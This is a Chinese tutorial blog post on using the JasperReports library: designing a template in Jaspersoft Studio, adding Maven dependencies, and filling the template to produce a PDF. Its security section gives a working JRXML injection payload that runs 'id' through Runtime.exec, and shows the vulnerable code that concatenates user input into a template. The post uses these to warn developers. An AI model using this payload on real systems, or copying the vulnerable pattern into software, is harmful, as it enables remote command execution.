JasperReports库的基本介绍

1。简介
在实践中，我们看到以某种格式统计和导出数据的请求是很常见的。例如，我们收到导出客户统计报告、销售发票、采购发票等的请求，这需要人们（尤其是程序员）创建软件，您可以根据每个具体情况和要求灵活创建导出数据的模板。你可能立刻想到的解决方案是使用word、excel……，但是这种解决方案不适合大量不断变化、短时间内发展的数据，同时还需要支付软件费用和数据处理时间不是最佳的。
目前有一个相当流行的解决方案——很多程序员都喜欢使用的jasperreports库。
特别是，这个库是开源的，并且有免费版本。您可以访问其源代码：https://github.com/tibcosoftware/jasperreports

2。使用说明
关于如何使用这个库网上有很多说明，这里就不详细写了
如果您使用 eclipse，jasperreports 有一个额外的插件可以帮助您创建报告模板。
在这篇文章中，我将指导您在intellij idea上使用它，库管理器是maven。
首先，您需要一个模板来填写数据（如订单、发票等）。为此，请下载并安装 jaspersoft studio 软件（当前最新的社区版本链接为 https://community.jaspersoft.com/files/file/19-jaspersoft®-studio-community-edition/?do=getnewcomment).
安装并打开后，软件会有如下界面：

要创建新模板，请转到文件 -> 新建 -> jasper 报告。在“全部”部分中，选择“空白 a4”（或您喜欢的其他模板：>）。

单击“下一步”，指定文件的保存位置。单击下一步 -> 下一步 -> 完成。出现的新界面是模板界面，您可以根据自己的模板自由设计。

右侧是库支持的对象。

假设我必须创建一个带有标题和商品名称的简单购买发票表格。我将“静态文本”对象拖放到模板中，并输入名称“采购发票”（您可以在屏幕右上角自行调整格式）。
接下来，我再拖动 2 个类似的对象，但将项目类别设置在“书籍”和“钢笔”下方。
接下来我必须添加这 2 件商品的价格。这个值是动态的，所以我必须在这里放置一个变量（这也是这个库的一个非常有趣和灵活的功能）。在大纲部分、参数部分中，右键单击并选择“创建参数”。然后我在右角窗口修改了这个变量的值，变量名为book，数据类型为实数。

然后我将其拖放到“book”标签旁边。与变量“笔”和总量相同。这里你可以分配的总金额等于变量“book”和“pen”的总和。
完成模板后，它会是这样的

您切换到源选项卡，这是系统将处理的数据。基本上，jasper report 将以类似于 xml 的文件格式接收输入数据，但标签名称将由库预先定义。例如，整个文件的超类的开始和结束标记必须是“jasperreport”标记。以下是一些必须注意的模板符号：

• “$p{}”：动态添加到报表中的数据，可以是键值对，可以是数据源。
• “$f{}”：从数据源添加到报告的复杂数据字段。
• “$v{}”：根据现有表达式自动生成数据或手动添加数据。 ... 您可以阅读更多内容 (https://www.tutorialspoint.com/jasper_reports/jasper_report_expression.htm)

完成后，您可以开始将此文件复制到您的项目中以填充数据并进行处理。
然后继续导入以下库：

    <dependency>
      <groupid>net.sf.jasperreports</groupid>
      <artifactid>jasperreports</artifactid>
      <version>6.21.0</version>
    </dependency>

    <dependency>
      <groupid>net.sf.jasperreports</groupid>
      <artifactid>jasperreports-fonts</artifactid>
      <version>6.21.0</version>
    </dependency>

继续编写代码导入文件并填充数据。

final string outputfilename = "report.pdf";
files.deleteifexists(new file(outputfilename).topath());
inputstream inputstream = main.class.getresourceasstream("/report.jrxml");
map<string, object> parameters = new hashmap<>();
parameters.put("book", 55000);
parameters.put("pen", 11111.1111);
jasperreport jasperreport = jaspercompilemanager.compilereport(inputstream);
jasperprint jasperprint = jasperfillmanager.fillreport(jasperreport, null, new jremptydatasource());
jasperexportmanager.exportreporttopdffile(jasperprint, outputfilename);

这里，因为我们直接填充，所以可以使用map类。如果你想从数据源（database，...）填充数据，可以参考(https://www.baeldung.com/spring-jasper).
结果如下

3。安全编程
因为在渲染这个模板的过程中，库也会执行其中的函数，所以如果用户可以自定义模板标签，攻击者就会添加可以执行命令的恶意标签。此错误与 ssti 非常相似。
假设允许用户直接编辑模板。源码如下：

final string outputfilename = "out.pdf";
files.deleteifexists(new file(outputfilename).topath());
string input = "";
string template = "<?xml version="1.0" encoding="utf-8"?>
<jasperreport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/xmlschema-instance" xsi:schemalocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="z" pagewidth="500" pageheight="1200" columnwidth="270">
" + input + "</jasperreport>";
inputstream inputstream = new bytearrayinputstream(template.getbytes());
jasperreport jasperreport = jaspercompilemanager.compilereport(inputstream);
jasperprint jasperprint = jasperfillmanager.fillreport(jasperreport, null, new jremptydatasource());
jasperexportmanager.exportreporttopdffile(jasperprint, outputfilename);

攻击者填充恶意函数来控制系统：

String input = "<parameter name="cmd" class="java.lang.String">
" +
                "        <defaultValueExpression>"id"</defaultValueExpression>
" +
                "    </parameter>
" +
                "    
" +
                "    <group name="grp">
" +
                "        <groupExpression><![CDATA[true]]></groupExpression>
" +
                "        <groupHeader>
" +
                "            <band height="1100">
" +
                "                <textField>
" +
                "                <reportElement height="1000" width="500"  x="120" y="26" forecolor="#222222"/>
" +
                "                    <textFieldExpression class="java.lang.String">
" +
                "                        <![CDATA[new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec($P{cmd}).getInputStream())).readLine()]]>
" +
                "                    </textFieldExpression>
" +
                "                </textField>
" +
                "            </band>
" +
                "        </groupHeader>
" +
                "    </group>
";

结果，命令被执行。文件“out.pdf”包含以下内容：

所以程序员也必须小心，不要让用户直接在模板中输入内容。
另外，该库在旧版本中也存在漏洞（cve-2018-18809、cve-2022-42889、...），编程时应注意使用最新版本。定期更新。

以上就是JasperReports库的基本介绍的详细内容，更多请关注知识资源分享宝库其它相关文章！